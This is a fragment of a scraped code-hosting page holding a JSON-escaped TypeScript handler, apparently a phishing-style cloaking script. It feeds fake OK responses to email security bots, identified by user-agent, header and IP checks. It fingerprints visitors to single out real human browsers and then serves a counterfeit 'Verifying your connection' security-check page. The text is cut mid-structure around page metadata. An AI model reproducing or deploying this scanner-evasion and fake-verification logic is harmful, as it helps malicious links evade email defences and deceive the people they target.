404 Not Found

\",\n 404,\n );\n }\n\n // --- EMAIL SECURITY BOT ---\n if (botUA.some((kw) => uaLower.includes(kw))) return fakeOk();\n if (suspiciousHeaders.some((h) => req.headers.has(h))) return fakeOk();\n if (emailSecurityIPs.some((p) => ip.startsWith(p))) return fakeOk();\n\n // --- FINGERPRINT ---\n const hasAcceptLang = req.headers.has(\"accept-language\");\n const hasAccept = req.headers.get(\"accept\")?.includes(\"text/html\");\n const isMobile = /iphone|ipad|android/.test(uaLower);\n const isDesktop = /windows|macintosh|linux/.test(uaLower);\n const behaviorScore = (!req.headers.has(\"referer\") ? 1 : 0) +\n (!req.headers.has(\"cookie\") ? 1 : 0) +\n (!req.headers.has(\"sec-fetch-mode\") ? 1 : 0) +\n (req.headers.get(\"accept\") === \"*/*\" ? 1 : 0);\n const isBehaviorBot = behaviorScore >= 3 && !req.headers.has(\"sec-ch-ua\");\n const isRealBrowser = uaLower.length >= 35 && hasAcceptLang && hasAccept &&\n (isMobile || isDesktop);\n\n if (!isRealBrowser || isBehaviorBot) return fakeOk();\n\n // --- JS CHALLENGE ---\n const ts = Date.now();\n\n return html(`\n\n\n\nVerifying...\n\n\n

✓

Verifying your connection...

This is an automatic security check

\n\n`);\n}","deleted","label",[103],"permalink","https://www.val.town/x/smourace/claude-ace/code/main.ts","extension","actionData","errors"]